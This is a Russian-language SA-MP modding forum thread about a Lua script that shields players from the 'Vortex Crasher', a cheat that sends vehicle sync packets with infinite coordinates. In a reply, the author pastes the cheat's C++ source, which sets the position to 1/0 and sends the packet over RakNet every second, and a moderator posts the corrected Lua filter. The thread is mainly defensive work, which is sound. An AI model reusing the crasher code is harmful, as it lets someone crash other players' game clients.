Lua Anti Vortex Crasher (only v1)

seven.

vk.com/nanseven
Автор темы
Проверенный
1,583
2,375
Версия SA-MP
  1. 0.3.7 (R1)
Описание: Не дает другим игрокам крашнуть вас с помощью VortexCrasher (в OverLight sobeit), краш происходит из-за деления числа 1 на 0, появляется бесконечное число, т.к на 0 делить нельзя, а далее это бесконечное число присваивается fPosition в InCar синхронизации и Vortex или любой самолет получает бесконечные координаты во всех осях. На ДМ серверах и вроде как на Arizona этот крашер до сих пор работает.
Активация: Автоматическая.
Автор: Seven
Спасибо @imring за исправление кода
 

Вложения

  • anti_VortexCrasher.lua
    256 байт · Просмотры: 309
Последнее редактирование:

Forever in White House

Участник
74
16
Ах ты сука математичка а я тебе верил получается на ноль делить можно
краш происходит из-за деления числа 1 на 0, появляется бесконечное число, т.к на 0 делить нельзя
Лично для тебя в конце по простому объяснили, дурень)
 

seven.

vk.com/nanseven
Автор темы
Проверенный
1,583
2,375
Ах ты сука математичка а я тебе верил получается на ноль делить можно
Когда увидел исходный код крашера подумал тоже самое, даже пошел на калькуляторе проверять везде выдавало или 0 или ошибку, а когда переписал полностью крашер на Lua, то увидел, что реально выдает бесконечность (infinity) (вы не подумайте, на ноль делить все равно нельзя!)
 
Последнее редактирование:

astynk

Известный
Проверенный
750
512
А откуда там бесконечность берется? Тупо data.position.x = 1/0 ? И почему именно вортекс?
 

seven.

vk.com/nanseven
Автор темы
Проверенный
1,583
2,375
Тупо data.position.x = 1/0 ?
Да, но я не понял как OverLight это синхронизирует, мне известен только метод краша. Хз почему он обозвал этот крашер Vortex (еще он называется как Plane Crasher)
C++:
    static DWORD dwCrasherTick = GetTickCount();
    bool wrong_way = false;
    if (g_Players->pLocalPlayer->pSAMP_Actor->pGTA_Ped->pedFlags.bInVehicle)
    {
        vehicle_info *vinfo = vehicle_info_get(VEHICLE_SELF, 0);
        if (!vinfo)
            return;
        int class_id = gta_vehicle_get_by_id(vinfo->base.model_alt_id)->class_id;
        if (class_id == VEHICLE_CLASS_AIRPLANE
            || vinfo->base.model_alt_id == 539)
        {
            if (GetTickCount() - dwCrasherTick >= 1000)
            {
                stInCarData InCar;
                memcpy(&InCar, &g_Players->pLocalPlayer->inCarData, sizeof(stInCarData));
                float zero = 0;
                float infinito = 1 / zero;
                InCar.fPosition[2] = infinito;
                BitStream bsInCar;
                bsInCar.Write((BYTE)ID_VEHICLE_SYNC);
                bsInCar.Write((PCHAR)&InCar, sizeof(stInCarData));
                g_RakFuncs->Send(&bsInCar, HIGH_PRIORITY, UNRELIABLE_SEQUENCED, 0);
                dwCrasherTick = GetTickCount();
            }

        }
 
Последнее редактирование:

wD.D159

vk.me/153724009
Проверенный
429
405
Установил. Зашел в игру. Все игроки которые находятся в транспорте в АФК....
 

imring

Metallica
Всефорумный модератор
2,275
2,192
Lua:
if tostring(data.position.x) or tostring(data.position.y) or tostring(data.position.z) == "inf" then
пиздец это что
Lua:
local pos, inf = data.position, 1/0
if pos.x == inf or pos.y == inf or pos.z == inf then return false end
 

silicium110

Участник
328
17
Описание: Не дает другим игрокам крашнуть вас с помощью VortexCrasher (в OverLight sobeit), краш происходит из-за деления числа 1 на 0, появляется бесконечное число, т.к на 0 делить нельзя, а далее это бесконечное число присваивается fPosition в InCar синхронизации и Vortex или любой самолет получает бесконечные координаты во всех осях. На ДМ серверах и вроде как на Arizona этот крашер до сих пор работает.
Активация: Автоматическая.
Автор: Seven
Спасибо @imring за исправление кода
для самп рп нужно ставить или не актуально?